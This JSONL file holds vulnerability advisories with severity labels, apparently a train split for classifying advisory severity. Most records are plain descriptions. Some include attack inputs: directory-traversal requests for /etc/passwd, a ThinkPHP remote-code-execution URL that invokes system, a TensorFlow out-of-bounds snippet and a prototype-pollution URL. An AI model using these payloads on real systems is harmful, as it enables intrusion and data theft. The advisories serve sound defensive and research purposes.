-{"id": "490d773112654c18769f", "text": "Catastrophic backtracking in URL authority parser when passed URL containing many @ characters\n\n### Impact\n\nWhen provided with a URL containing many `@` characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.\n\n### Patches\n\nThe issue has been fixed in urllib3 v1.26.5.\n\n### References\n\n- [CVE-2021-33503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503)\n- [JVNVU#92413403 (English)](https://jvn.jp/en/vu/JVNVU92413403/)\n- [JVNVU#92413403 (Japanese)](https://jvn.jp/vu/JVNVU92413403/)\n- [urllib3 v1.26.5](https://github.com/urllib3/urllib3/releases/tag/1.26.5)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Ask in our [community Discord](https://discord.gg/urllib3)\n* Email [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)", "text_raw": "Catastrophic backtracking in URL authority parser when passed URL containing many @ characters\n\n[Severity: HIGH]\n\n### Impact\n\nWhen provided with a URL containing many `@` characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.\n\n\n### Patches\n\nThe issue has been fixed in urllib3 v1.26.5.\n\n### References\n\n- [CVE-2021-33503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503)\n- [JVNVU#92413403 (English)](https://jvn.jp/en/vu/JVNVU92413403/)\n- [JVNVU#92413403 (Japanese)](https://jvn.jp/vu/JVNVU92413403/)\n- [urllib3 v1.26.5](https://github.com/urllib3/urllib3/releases/tag/1.26.5)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Ask in our [community Discord](https://discord.gg/urllib3)\n* Email [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "ceee4d9936c0b3d0dba6", "text": "CSRF vulnerability in Jenkins Xray - Test Management for Jira Plugin allows capturing credentials\n\nJenkins Xray - Test Management for Jira Plugin 2.4.0 and earlier does not require POST requests for a connection test method, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nThis vulnerability allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.\n\nJenkins Xray - Test Management for Jira Plugin 2.4.1 requires POST requests for the affected connection test method.", "text_raw": "CSRF vulnerability in Jenkins Xray - Test Management for Jira Plugin allows capturing credentials\n\n[Severity: HIGH]\n\nJenkins Xray - Test Management for Jira Plugin 2.4.0 and earlier does not require POST requests for a connection test method, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nThis vulnerability allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.\n\nJenkins Xray - Test Management for Jira Plugin 2.4.1 requires POST requests for the affected connection test method.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "d08c04c7f04a333ee7df", "text": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 RTSP Stream Disclosure", "text_raw": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 RTSP Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-10-14", "split": "train"}
-{"id": "9ddb4c7058c884a452cc", "text": "The Java SockJS client in Pivotal Spring Framework 4.1.x before 4.1.5 generates predictable session ids, which allows remote attackers to send messages to other sessions via unspecified vectors.", "text_raw": "Moderate severity vulnerability that affects org.springframework:spring-core\n\n[Severity: MEDIUM]\n\nThe Java SockJS client in Pivotal Spring Framework 4.1.x before 4.1.5 generates predictable session ids, which allows remote attackers to send messages to other sessions via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "59c4fa65ddd45bc0b62f", "text": "Directory Traversal in wangguojing123\n\nAffected versions of `wangguojing123` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in wangguojing123\n\n[Severity: HIGH]\n\nAffected versions of `wangguojing123` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "dc53a01d84773afc9d98", "text": "UnixAuthenticationService in Apache Ranger was updated to correctly handle user input to avoid Stack-based buffer overflow\n\nUnixAuthenticationService in Apache Ranger 1.2.0 was updated to correctly handle user input to avoid Stack-based buffer overflow. Versions prior to 1.2.0 should be upgraded to 1.2.0", "text_raw": "UnixAuthenticationService in Apache Ranger was updated to correctly handle user input to avoid Stack-based buffer overflow\n\n[Severity: HIGH]\n\nUnixAuthenticationService in Apache Ranger 1.2.0 was updated to correctly handle user input to avoid Stack-based buffer overflow. Versions prior to 1.2.0 should be upgraded to 1.2.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "16ecee0ded1a38f4c989", "text": "CSRF issue on preview pages in Bolt CMS\n\n### Impact\n\nBolt CMS lacked CSRF protection in the preview generating endpoint. Previews are intended to be generated by the admins, developers, chief-editors, and editors, who are authorized to create content in the application. But due to lack of proper CSRF protection, unauthorized users could generate a preview.\n\n### Patches\n\nThis has been fixed in Bolt 3.7.1\n\n### References\n\nRelated issue: https://github.com/bolt/bolt/pull/7853", "text_raw": "CSRF issue on preview pages in Bolt CMS\n\n[Severity: HIGH]\n\n### Impact\n\nBolt CMS lacked CSRF protection in the preview generating endpoint. Previews are intended to be generated by the admins, developers, chief-editors, and editors, who are authorized to create content in the application. But due to lack of proper CSRF protection, unauthorized users could generate a preview.\n\n### Patches\n\nThis has been fixed in Bolt 3.7.1\n\n### References\n\nRelated issue: https://github.com/bolt/bolt/pull/7853", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-09", "split": "train"}
-{"id": "bae6671c20266735d5cb", "text": "Malicious Package in colour-string\n\nVersion 1.5.3 of `colour-string` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in colour-string\n\n[Severity: CRITICAL]\n\nVersion 1.5.3 of `colour-string` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "4022dde806db2487face", "text": "Malicious Package in buffgr-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffgr-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "da436adbbae553e1ca3c", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Ansible\n\nA flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Ansible\n\n[Severity: LOW]\n\nA flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "b288f3b2e50b523f2b37", "text": "Blog comment posting, Cross Site Scripting(XSS) Vulnerability in Latest Release 4.4.0\n\nbaserCMS 4.4.0 and earlier is affected by Cross Site Scripting (XSS).\n\nImpact: XSS via Arbitrary script execution.\nComponents are: Blog comment posting\nTested baserCMS Version : 4.4.0 (Latest)\nAffected baserCMS Version : 4.0.0 ~ 4.4.0\nPatches : https://basercms.net/security/20201029\nFound by yama", "text_raw": "Blog comment posting, Cross Site Scripting(XSS) Vulnerability in Latest Release 4.4.0\n\n[Severity: LOW]\n\nbaserCMS 4.4.0 and earlier is affected by Cross Site Scripting (XSS).\n\nImpact: XSS via Arbitrary script execution.\nComponents are: Blog comment posting\nTested baserCMS Version : 4.4.0 (Latest)\nAffected baserCMS Version : 4.0.0 ~ 4.4.0\nPatches : https://basercms.net/security/20201029\nFound by yama", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-30", "split": "train"}
-{"id": "6617664b840384fdd2b2", "text": "Withdrawn, accidental duplicate publish.\n\nAction Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.", "text_raw": "High severity vulnerability that affects actionpack\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\n\nAction Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "2beeb3a2c03a4fb46a87", "text": "tkinter is malware\n\nThe `tkinter` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "tkinter is malware\n\n[Severity: HIGH]\n\nThe `tkinter` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "8e1329464e82e4a9da5b", "text": "mongodb-client-encryption vulnerable to Improper Certificate Validation\n\nA specific version of the Node.js mongodb-client-encryption module does not perform correct validation of the KMS server’s certificate. This vulnerability in combination with a privileged network position active MITM attack could result in interception of traffic between the Node.js driver and the KMS service rendering client-side field level encryption (CSFLE) ineffective. This issue was discovered during internal testing and affects mongodb-client-encryption module version 1.2.0, which was available from 2021-Jan-29 and deprecated in the NPM Registry on 2021-Feb-04. This vulnerability does not impact driver traffic payloads with CSFLE-supported key services from applications residing inside the AWS, GCP, and Azure nework fabrics due to compensating controls in these environments. This issue does not impact driver workloads that don’t use Field Level Encryption. This issue affect MongoDB Node.js Driver mongodb-client-encryption module version 1.2.0", "text_raw": "mongodb-client-encryption vulnerable to Improper Certificate Validation\n\n[Severity: MEDIUM]\n\nA specific version of the Node.js mongodb-client-encryption module does not perform correct validation of the KMS server’s certificate. This vulnerability in combination with a privileged network position active MITM attack could result in interception of traffic between the Node.js driver and the KMS service rendering client-side field level encryption (CSFLE) ineffective. This issue was discovered during internal testing and affects mongodb-client-encryption module version 1.2.0, which was available from 2021-Jan-29 and deprecated in the NPM Registry on 2021-Feb-04. This vulnerability does not impact driver traffic payloads with CSFLE-supported key services from applications residing inside the AWS, GCP, and Azure nework fabrics due to compensating controls in these environments. This issue does not impact driver workloads that don’t use Field Level Encryption. This issue affect MongoDB Node.js Driver mongodb-client-encryption module version 1.2.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-12", "split": "train"}
-{"id": "aa34d37ff012e40d6db1", "text": "Heap OOB in `QuantizeAndDequantizeV3`\n\n### Impact\nAn attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV3(\n  input=[2.5,2.5], input_min=[0,0], input_max=[1,1], num_bits=[30],\n  signed_input=False, range_given=False, narrow_range=False, axis=3)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/11ff7f80667e6490d7b5174aa6bf5e01886e770f/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L237) does not validate the value of user supplied `axis` attribute before using it to index in the array backing the `input` argument:\n\n```cc\nconst int depth = (axis_ == -1) ? 1 : input.dim_size(axis_);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [99085e8ff02c3763a0ec2263e44daec416f6a387](https://github.com/tensorflow/tensorflow/commit/99085e8ff02c3763a0ec2263e44daec416f6a387).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in `QuantizeAndDequantizeV3`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can read data outside of bounds of heap allocated buffer in `tf.raw_ops.QuantizeAndDequantizeV3`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV3(\n  input=[2.5,2.5], input_min=[0,0], input_max=[1,1], num_bits=[30],\n  signed_input=False, range_given=False, narrow_range=False, axis=3)\n```   \n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/11ff7f80667e6490d7b5174aa6bf5e01886e770f/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L237) does not validate the value of user supplied `axis` attribute before using it to index in the array backing the `input` argument:\n\n```cc\nconst int depth = (axis_ == -1) ? 1 : input.dim_size(axis_);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [99085e8ff02c3763a0ec2263e44daec416f6a387](https://github.com/tensorflow/tensorflow/commit/99085e8ff02c3763a0ec2263e44daec416f6a387).\n  \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "bfe2e2f76e6866f7787d", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to `com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource`.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to `com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "a3ba246f197dace52faa", "text": "Prototype Pollution in deeply\n\nVersions of `deeply` prior to 1.0.1 are vulnerable to Prototype Pollution. The package fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n## Recommendation\n\nUpgrade to version 3.1.0 or later.", "text_raw": "Prototype Pollution in deeply\n\n[Severity: CRITICAL]\n\nVersions of `deeply` prior to 1.0.1 are vulnerable to Prototype Pollution. The package fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.\n\n\n\n\n## Recommendation\n\nUpgrade to version 3.1.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "8e5234a3515c80f65819", "text": "Unsafe eval() in summit allows arbitrary code execution\n\nAffected versions of `summit` allow attackers to execute arbitrary commands via collection names when using the `PouchDB` driver.\n\n## Recommendation\n\nNo direct patch is available at this time.\n\nCurrently, the best option to mitigate the issue is to avoid using the `PouchDB` driver, as the package author has abandoned this feature entirely.", "text_raw": "Unsafe eval() in summit allows arbitrary code execution\n\n[Severity: CRITICAL]\n\nAffected versions of `summit` allow attackers to execute arbitrary commands via collection names when using the `PouchDB` driver.\n\n## Recommendation\n\nNo direct patch is available at this time.\n\nCurrently, the best option to mitigate the issue is to avoid using the `PouchDB` driver, as the package author has abandoned this feature entirely.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "949aa62d94ebe6564290", "text": "XSS vulnerability on asset view\n\n### Impact\nMautic versions before 3.3.4 / 4.0.0 are vulnerable to an inline JS XSS attack when viewing Mautic assets by utilizing inline JS in the title and adding a broken image URL as a remote asset. This can only be leveraged by an authenticated user with permission to create or edit assets.\n\n### Patches\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\nNo\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "XSS vulnerability on asset view\n\n[Severity: HIGH]\n\n### Impact\nMautic versions before 3.3.4 / 4.0.0 are vulnerable to an inline JS XSS attack when viewing Mautic assets by utilizing inline JS in the title and adding a broken image URL as a remote asset. This can only be leveraged by an authenticated user with permission to create or edit assets. \n\n### Patches\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\nNo\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "6831b2303fd0f5be5275", "text": "ImpressPages CMS v3.6 Multiple XSS/SQLi Vulnerabilities", "text_raw": "ImpressPages CMS v3.6 Multiple XSS/SQLi Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-10-31", "split": "train"}
-{"id": "3e2a523b63d3b2b907e5", "text": "Malicious Package in bowe\n\nVersion 1.8.4 of `bowee` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bowe\n\n[Severity: CRITICAL]\n\nVersion 1.8.4 of `bowee` contained malicious code as a preinstall script. The package downloaded a file from a remote server, executed it and opened a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "21f99cde5505abf4f8e8", "text": "Directory Traversal in gomeplus-h5-proxy\n\nAffected versions of `gomeplus-h5-proxy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in gomeplus-h5-proxy\n\n[Severity: HIGH]\n\nAffected versions of `gomeplus-h5-proxy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "27dead2e5da77dbfcaf4", "text": "Incorrect handling of CORS preflight request headers in hapi\n\nVersions of `hapi` prior to 11.0.0 implement CORS incorrectly, allowing for configurations that at best return inconsistent headers, and at worst allow cross-origin activities that are expected to be forbidden.\n\nIf the connection has CORS enabled but one route has it off, and the route is not GET, the OPTIONS prefetch request will return the default CORS headers and then the actual request will go through and return no CORS headers. This defeats the purpose of turning CORS on the route.\n\n## Recommendation\n\nUpdate to version 11.0.0 or later.", "text_raw": "Incorrect handling of CORS preflight request headers in hapi\n\n[Severity: MEDIUM]\n\nVersions of `hapi` prior to 11.0.0 implement CORS incorrectly, allowing for configurations that at best return inconsistent headers, and at worst allow cross-origin activities that are expected to be forbidden. \n\nIf the connection has CORS enabled but one route has it off, and the route is not GET, the OPTIONS prefetch request will return the default CORS headers and then the actual request will go through and return no CORS headers. This defeats the purpose of turning CORS on the route.\n\n\n## Recommendation\n\nUpdate to version 11.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-06-07", "split": "train"}
-{"id": "10ef458297daedea9cc5", "text": "Safemode Gem Has Incomplete List of Disallowed Inputs\n\nrubygem-safemode, as used in Foreman, versions 1.3.1 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.", "text_raw": "Safemode Gem Has Incomplete List of Disallowed Inputs\n\n[Severity: CRITICAL]\n\nrubygem-safemode, as used in Foreman, versions 1.3.1 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "436ffe75c0269d18a9b6", "text": "Malicious Package in commqnder\n\nAll versions of `commqnder` contain malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "text_raw": "Malicious Package in commqnder\n\n[Severity: CRITICAL]\n\nAll versions of `commqnder` contain malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "aa7b4e4b69b8aed98b44", "text": "ThinkPHP Remote Code Execution Vulnerability\n\nAffected: ThinkPHP ThinkPHP\n\nThinkPHP contains an unspecified vulnerability that allows for remote code execution via public//?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= followed by the command.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306, CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "ThinkPHP Remote Code Execution Vulnerability\n\nAffected: ThinkPHP ThinkPHP\n\nThinkPHP contains an unspecified vulnerability that allows for remote code execution via public//?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= followed by the command.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306, CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e74d2388491ea8e82158", "text": "Mitmweb in mitmproxy allows DNS Rebinding attacks\n\nmitmweb in mitmproxy before v4.0.4 allows DNS Rebinding attacks, related to tools/web/app.py.", "text_raw": "Mitmweb in mitmproxy allows DNS Rebinding attacks\n\n[Severity: CRITICAL]\n\nmitmweb in mitmproxy before v4.0.4 allows DNS Rebinding attacks, related to tools/web/app.py.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "91874fae3b57d16eda87", "text": "Microsoft Office and WordPad Remote Code Execution Vulnerability\n\nAffected: Microsoft Office and WordPad\n\nMicrosoft Office and WordPad contain an unspecified vulnerability due to the way the applications parse specially crafted files. Successful exploitation allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office and WordPad Remote Code Execution Vulnerability\n\nAffected: Microsoft Office and WordPad\n\nMicrosoft Office and WordPad contain an unspecified vulnerability due to the way the applications parse specially crafted files. Successful exploitation allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "7fd25e55ab4b3371c78f", "text": "jackson-databind vulnerable to deserialization flaw leading to unauthenticated remote code execution\n\njackson-databind in versions prior to 2.8.11 and 2.9.4 contain a deserialization flaw which allows an unauthenticated user to perform code execution by sending maliciously crafted input to the readValue method of the ObjectMapper. This issue extends the previous flaw CVE-2017-7525, blacklisting additonal vulnerable classes.", "text_raw": "jackson-databind vulnerable to deserialization flaw leading to unauthenticated remote code execution\n\n[Severity: CRITICAL]\n\njackson-databind in versions prior to 2.8.11 and 2.9.4 contain a deserialization flaw which allows an unauthenticated user to perform code execution by sending maliciously crafted input to the readValue method of the ObjectMapper. This issue extends the previous flaw CVE-2017-7525, blacklisting additonal vulnerable classes.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "c579d2885f5548e372c4", "text": "Prototype pollution in aurelia-path\n\n### Impact\nThe vulnerability exposes Aurelia application that uses `aurelia-path` package to parse a string. The majority of this will be Aurelia applications that employ the `aurelia-router` package. An example is this could allow an attacker to change the prototype of base object class `Object` by tricking an application to parse the following URL: `https://aurelia.io/blog/?__proto__[asdf]=asdf`\n\n### Patches\nThe problem should be patched in version `1.1.7`. Any version earlier than this is vulnerable.\n\n### Workarounds\nA partial work around is to free the Object prototype:\n```ts\nObject.freeze(Object.prototype)\n```", "text_raw": "Prototype pollution in aurelia-path\n\n[Severity: CRITICAL]\n\n### Impact\nThe vulnerability exposes Aurelia application that uses `aurelia-path` package to parse a string. The majority of this will be Aurelia applications that employ the `aurelia-router` package. An example is this could allow an attacker to change the prototype of base object class `Object` by tricking an application to parse the following URL: `https://aurelia.io/blog/?__proto__[asdf]=asdf`\n\n### Patches\nThe problem should be patched in version `1.1.7`. Any version earlier than this is vulnerable.\n\n### Workarounds\nA partial work around is to free the Object prototype:\n```ts\nObject.freeze(Object.prototype)\n```", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-27", "split": "train"}
